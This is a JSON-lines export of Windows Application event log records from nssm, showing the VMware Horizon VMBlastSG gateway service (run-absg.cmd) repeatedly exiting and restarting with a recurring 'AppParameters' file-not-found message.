{"@timestamp":1646809460490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165438}}
{"@timestamp":1646809460491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165439}}
{"@timestamp":1646809460491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165440}}
{"@timestamp":1646809460492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165441}}
{"@timestamp":1646809589060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165442}}
{"@timestamp":1646809589061,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165443}}
{"@timestamp":1646809589062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161724","0"]}}},"module":"Application","provider":"nssm","sequence":165444}}
{"@timestamp":1646809589064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161724","161724","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165445}}
{"@timestamp":1646809589088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165446}}
{"@timestamp":1646809589088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165447}}
{"@timestamp":1646809589089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165448}}
{"@timestamp":1646809589090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165449}}
{"@timestamp":1646809717583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165450}}
{"@timestamp":1646809717585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165451}}
{"@timestamp":1646809717585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161092","0"]}}},"module":"Application","provider":"nssm","sequence":165452}}
{"@timestamp":1646809717586,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161092","161092","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165453}}
{"@timestamp":1646809717603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165454}}
{"@timestamp":1646809717604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165455}}
{"@timestamp":1646809717604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165456}}
{"@timestamp":1646809717605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165457}}
{"@timestamp":1646809846133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165458}}
{"@timestamp":1646809846135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165459}}
{"@timestamp":1646809846136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161496","0"]}}},"module":"Application","provider":"nssm","sequence":165460}}
{"@timestamp":1646809846136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161496","161496","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165461}}
{"@timestamp":1646809846154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165462}}
{"@timestamp":1646809846154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165463}}
{"@timestamp":1646809846155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165464}}
{"@timestamp":1646809846155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165465}}
{"@timestamp":1646809974642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165466}}
{"@timestamp":1646809974643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165467}}
{"@timestamp":1646809974644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162476","0"]}}},"module":"Application","provider":"nssm","sequence":165468}}
{"@timestamp":1646809974645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162476","162476","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165469}}
{"@timestamp":1646809974660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165470}}
{"@timestamp":1646809974661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165471}}
{"@timestamp":1646809974661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165472}}
{"@timestamp":1646809974662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165473}}
{"@timestamp":1646810103601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165474}}
{"@timestamp":1646810103602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165475}}
{"@timestamp":1646810103605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162760","0"]}}},"module":"Application","provider":"nssm","sequence":165476}}
{"@timestamp":1646810103606,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162760","162760","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165477}}
{"@timestamp":1646810103625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165478}}
{"@timestamp":1646810103626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165479}}
{"@timestamp":1646810103626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165480}}
{"@timestamp":1646810103627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165481}}
{"@timestamp":1646810232123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165482}}
{"@timestamp":1646810232124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165483}}
{"@timestamp":1646810232125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162692","0"]}}},"module":"Application","provider":"nssm","sequence":165484}}
{"@timestamp":1646810232125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162692","162692","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165485}}
{"@timestamp":1646810232142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165486}}
{"@timestamp":1646810232143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165487}}
{"@timestamp":1646810232143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165488}}
{"@timestamp":1646810232144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165489}}
{"@timestamp":1646810361001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165490}}
{"@timestamp":1646810361002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165491}}
{"@timestamp":1646810361002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160876","0"]}}},"module":"Application","provider":"nssm","sequence":165492}}
{"@timestamp":1646810361004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160876","160876","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165493}}
{"@timestamp":1646810361022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165494}}
{"@timestamp":1646810361022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165495}}
{"@timestamp":1646810361023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165496}}
{"@timestamp":1646810361024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165497}}
{"@timestamp":1646810489501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165498}}
{"@timestamp":1646810489502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165499}}
{"@timestamp":1646810489502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160596","0"]}}},"module":"Application","provider":"nssm","sequence":165500}}
{"@timestamp":1646810489502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160596","160596","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165501}}
{"@timestamp":1646810489520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165502}}
{"@timestamp":1646810489521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165503}}
{"@timestamp":1646810489521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165504}}
{"@timestamp":1646810489522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165505}}
{"@timestamp":1646810618026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165506}}
{"@timestamp":1646810618027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165507}}
{"@timestamp":1646810618027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157192","0"]}}},"module":"Application","provider":"nssm","sequence":165508}}
{"@timestamp":1646810618028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157192","157192","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165509}}
{"@timestamp":1646810618045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165510}}
{"@timestamp":1646810618045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165511}}
{"@timestamp":1646810618046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165512}}
{"@timestamp":1646810618047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165513}}
{"@timestamp":1646810746542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165514}}
{"@timestamp":1646810746542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165515}}
{"@timestamp":1646810746543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162496","0"]}}},"module":"Application","provider":"nssm","sequence":165516}}
{"@timestamp":1646810746545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162496","162496","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165517}}
{"@timestamp":1646810746568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165518}}
{"@timestamp":1646810746569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165519}}
{"@timestamp":1646810746569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165520}}
{"@timestamp":1646810746571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165521}}
{"@timestamp":1646810875032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165522}}
{"@timestamp":1646810875033,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165523}}
{"@timestamp":1646810875034,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162340","0"]}}},"module":"Application","provider":"nssm","sequence":165524}}
{"@timestamp":1646810875035,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162340","162340","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165525}}
{"@timestamp":1646810875052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165526}}
{"@timestamp":1646810875052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165527}}
{"@timestamp":1646810875053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165528}}
{"@timestamp":1646810875054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165529}}
{"@timestamp":1646811003562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165530}}
{"@timestamp":1646811003563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165531}}
{"@timestamp":1646811003563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162096","0"]}}},"module":"Application","provider":"nssm","sequence":165532}}
{"@timestamp":1646811003564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162096","162096","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165533}}
{"@timestamp":1646811003581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165534}}
{"@timestamp":1646811003582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165535}}
{"@timestamp":1646811003583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165536}}
{"@timestamp":1646811003584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165537}}
{"@timestamp":1646811132083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165538}}
{"@timestamp":1646811132084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165539}}
{"@timestamp":1646811132085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162132","0"]}}},"module":"Application","provider":"nssm","sequence":165540}}
{"@timestamp":1646811132087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162132","162132","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165541}}
{"@timestamp":1646811132105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165542}}
